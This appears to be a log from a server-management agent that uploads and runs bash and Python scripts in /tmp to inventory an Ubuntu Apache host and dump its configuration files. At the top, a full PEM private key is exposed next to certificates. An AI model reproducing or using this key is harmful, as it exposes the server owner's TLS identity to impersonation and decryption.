cQ4AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZtMUFgrAAgA
AAUALQOMKgQDAEcwRQIgB6Io9blqDcmze9uFuWUKnHp1r61EsY4s9Ja3EB/zNCwC
IQD3C2o1505ed+IEvDdm+hupVOr+Y6+nfr5IDtej0NyXgzANBgkqhkiG9w0BAQsF
AAOCAQEArvnb5zvdgS4heVQZr3TLQf2plHudm71vWafDK+DVbrlrivDPekhKyJk5
k+B6eGkb4nRE29KjyIJbxQwKtOYdCbHyi8Ovf9BBZAqgR96GXBYmBl4qL66JQdDN
BJrRSCnVEsxHZziCv2TRqKVQ3ZjcZ68v+bHl11G3siekYOwuxRxEsipuyLFzxCQc
lPZCUxsgoyIkC4aSp4wj7Gsna9tm35/Uyt05RKfhOro/BygMrZP84f2zpkq7UE/q
MQBWANHQgO1cXTJ2cNPoh5Z7u9q+7xM+RfrdQq8yvXnwMyBHfnCQAfQZ3jEMyv/h
4mZk/x1O4rbn6fmBSJJrRKiV5qqMBw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDwfUSK0urHZ/mK
qO/3vnkjHL6TtwAyXGsw0UyhVRx448vCaFA23yoh2SfGwyLqrZku9SIo7nmmshlL
j/skizEXmBy4MgcK7AKJ089+lAq/c3oknIrSf2bfrZ8fkFkmxT/JI7ryxDdzjY3e
/uSydBxaeqFIMnVTckwliL5nUJiuYrtLdSr08rvkzaFrThP3go6jC4y7zqCE3Pim
0dsFhS73ese1ELQWmt655z7P4DkZpYmL9ZH1P/rWsS/z3YoLiq1ziatRBJhZOYrn
WCe1zp08+vZWgp30GbZ//6yMmgGMStBFgTo+LQe6WwJKr1LzLuaupMZjXdvlItUb
MB5sa9rzAgMBAAECggEBAI5c2ZKEwU9CEcsvrr6uFu/eOEMhdhBZ/WpsvDxVMgGu
eBShw7p36W0YLB/RrH3YPnI50vsAESvJCohct4MukuUwuu+fTeP9SpNku9RmtuYW
6ht6QAPUP4XyNdxtixkUc2oSqLzFwz24cl+r7J5nddFp/sfKdwHrC4C8rlpir7+q
tP13Cav1D8yhRNfxP1jieS1MCE6+a+ykMYpjvqy0K/ntAa7nqYSL4oZx3OvigGgc
boPa+5X9IRViphCnpkn+pRUVZKSXNmQlqNOrul1G74cHMVoQxRyXNWjsAWVQbHo1
k4wEe+USiDDI6nbDq8w8m6zNU23H9vODqpMe0a+tkkECgYEA/GuH/PfTARH/UxBd
V6wE/OrFdAV1IXdj3sUfH4rg+LnxRkVjxc8lylpnFXZHB+XYpvUH3fbTQj7eX2LR
7MZLZZAWQphOIBbYsFK6hhmiyDVmkF+XsSM6UYrPcnQu4Bd4BTcBjWwm50rWOGMR
x078NqgpiyiP55rPUagZuAA0VIsCgYEA8+ZrWdYsjyEjO9g/Xo3VjgavDog4bszA
xirvMe87w7NvTGkKp56nyhwqb7uGlQkP6OVc7t+eHHrD04cBEEKnhMhGSh4EBgB4
k3cM3t1vqR9lXGABp/hbTZ/K/SRPdRwE01V/6cgH4wUrBqq8VLcRPxL1mDksC7Sm
/EPbzI2IGDkCgYEA+f1dXvHqLeMvJYrNhyi8f+fbyj4ldRGS/WvomQqoKG2vQNM0
LxIq8S97bEwJqQ6/9Qoz0mbDb5ZoEbwDACabQWjkQuwoY6t8y5QDWxBEoVgRzeZ+
i1bCSUPalBXw3ssfeLqzdOap2OPLKWkkkGnvbAo7qrBvZQdzUAHWBt9c9GUCgYEA
7+CHZGvIl1y4Enu0l4JXrr/UHC7Nkeu/DSfc6Peph+hKZpRI7mKUE6tv8UQ2MQ4g
n6Y1qJo2Hzx+rOPyn9NufqGav/qVanG8JQzJk8elsmg2gIvMFS+mXMn0EtRLcZqF
BHTqwTsCxrymfIAfihIi3C4Bbh2MvFaIhUMYQi5Q08ECgYEA1qD+RxVrD9RgCAOE
9UT7mv80imvbXT1m4iqZnXiN1NOgRYA9hPDB/82uyOhjOWhoNqaZdMLJhutYCOk6
H6gMiS1TkLF2wKaVQLEgD/Q2j5FYS7GNHWzZHAan5tSRIUpRTeD+EfL0cXmXSW26
NdsqEFMXH0Z5/VvOUgJebvJo+8I=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-23 20:30:55: Establishing a remote connection
2025-12-23 20:31:03: Establishing a remote connection
2025-12-23 20:31:03: 

PUT: /tmp/pkp166264

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 20:31:03: 

chmod 755 /tmp/pkp166264; /tmp/pkp166264; rm /tmp/pkp166264





2025-12-23 20:31:04: 

PUT: /tmp/pkp706334

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 20:31:04: 

chmod 755 /tmp/pkp706334; /tmp/pkp706334; rm /tmp/pkp706334



[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1725
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1725  0.0  0.3 225896 28944 ?        Ss   15:25   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-23 20:31:05: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2025-12-23 20:31:05: 

PUT: /tmp/pkp578388

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2025-12-23 20:31:05: 

chmod 755 /tmp/pkp578388; /tmp/pkp578388; rm /tmp/pkp578388

(gzipped output)




2025-12-23 20:31:06: 

PUT: /tmp/pkp496047

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 20:31:06: 

chmod 755 /tmp/pkp496047; /tmp/pkp496047; rm /tmp/pkp496047

(gzipped output)




2025-12-23 20:31:07: 

PUT: /tmp/pkp973097

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-23 20:31:07: 

chmod 755 /tmp/pkp973097; /tmp/pkp973097; rm /tmp/pkp973097



status=ok


2025-12-23 20:31:08: 

PUT: /tmp/pkp498885

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 20:31:08: 

chmod 755 /tmp/pkp498885; /tmp/pkp498885; rm /tmp/pkp498885

(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 93a1976f48632b7620294e371188dcdd
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
MD5(/etc/apache2/sites-available/cityelectric_www_site.conf)= 0f6f5444ca90e2fb6bd046f20cb6b3e4
MD5(/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt)= e6c44632d87b0d9f6c49ff455b25d0cd
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf


2025-12-23 20:31:09: 

PUT: /tmp/pkp980680

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/ports.conf')
    show_file('/etc/apache2/apache2.conf')
    show_file('/etc/apache2/sites-available/000-default.conf')
    show_file('/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt')
    show_file('/etc/apache2/sites-available/default-ssl.conf')
    show_file('/etc/apache2/sites-available/cityelectric_www_site.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 20:31:09: 

chmod 755 /tmp/pkp980680; /tmp/pkp980680; rm /tmp/pkp980680

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf	274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf

Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf	7178
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt	5338
